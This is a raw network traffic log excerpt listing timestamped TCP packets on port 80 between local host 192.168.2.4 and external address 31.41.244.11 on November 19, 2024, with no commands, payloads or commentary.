Nov 19, 2024 22:07:09.141254902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141283035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141319990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141364098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141381025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141397953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141417980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141448021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141452074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141499996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141503096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141510010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141549110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141566992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141598940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141618013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141649961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141658068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141697884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141704082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141751051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141751051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141761065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141787052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141802073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141827106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141865969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141874075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141884089 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141904116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141921043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.141936064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141946077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.141983986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142000914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142055988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142102957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142158031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142169952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142183065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142225027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142225027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142241955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142254114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142285109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142293930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142329931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142334938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142385006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142388105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142441988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142446041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142472029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142532110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142539024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142589092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142620087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142668962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142801046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142855883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.142890930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.142957926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143002033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143043041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143102884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143182039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143239021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143289089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143347979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143357992 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143395901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143407106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143421888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143459082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143531084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143584013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143594027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143646002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143682957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143734932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143748045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143800020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143838882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143852949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143908024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.143944979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.143999100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144052029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144119978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144135952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144185066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144224882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144283056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144335032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144355059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144387007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144406080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144484997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144543886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144562006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144607067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144634008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144690990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144753933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.144813061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.144963980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145018101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145051003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145062923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145087957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145112991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145124912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145133972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145154953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145183086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145214081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145231962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145256996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145297050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145307064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145309925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145345926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145361900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145368099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145396948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145404100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145437002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145462990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145468950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145498991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145544052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145554066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145569086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145601034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145621061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145648003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145670891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145699024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145705938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145740032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145752907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145757914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145802021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145814896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145822048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145901918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145941973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.145967960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.145994902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146019936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146047115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146055937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146068096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146111965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146137953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146167994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146186113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146214962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146229982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146383047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146445036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146475077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146506071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146538019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146642923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146697044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146697044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146745920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146780014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146794081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146806955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146845102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146877050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146883965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146920919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146929026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146930933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.146961927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.146979094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147010088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147038937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147063017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147073984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147087097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147121906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147129059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147164106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147178888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147191048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147237062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147264957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147279978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147336006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147350073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147350073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147357941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147375107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147387028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147394896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147423983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147452116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147461891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147505045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147634029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147703886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147715092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147767067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.147800922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.147855043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148051023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148104906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148109913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148154974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148190022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148215055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148241043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148309946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148358107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148405075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148494959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148511887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148564100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148639917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148691893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148725033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148755074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148783922 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148818970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148839951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148888111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.148946047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.148974895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149060965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149111032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149127007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149158001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149175882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149219990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149293900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149362087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149528027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149538040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149583101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149593115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149620056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149636984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149662971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149691105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149727106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149736881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149781942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.149832964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.149894953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150125027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150178909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150188923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150232077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150235891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150271893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150310993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150357008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150360107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150413036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150444031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150456905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150482893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150492907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150535107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150542021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150544882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150579929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150583029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150614023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150634050 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150660992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150666952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150727034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150727034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150744915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150754929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150769949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150815964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150846958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150846958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150857925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150887966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150887966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150924921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150937080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150943995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.150957108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150969028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.150983095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151006937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151011944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151041985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151048899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151065111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151101112 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151128054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151144028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151146889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151185989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151189089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151200056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151202917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151237965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151248932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151299953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151324034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151335001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151350975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151381969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151417971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151429892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151496887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151539087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151551008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151561022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151604891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151619911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151635885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151683092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151686907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151700020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151715040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151741982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151753902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151779890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151786089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151797056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151817083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151849985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151865959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151882887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151892900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151925087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.151941061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151954889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.151974916 CET	49864	80	192.168.2.4	31.41.244.11
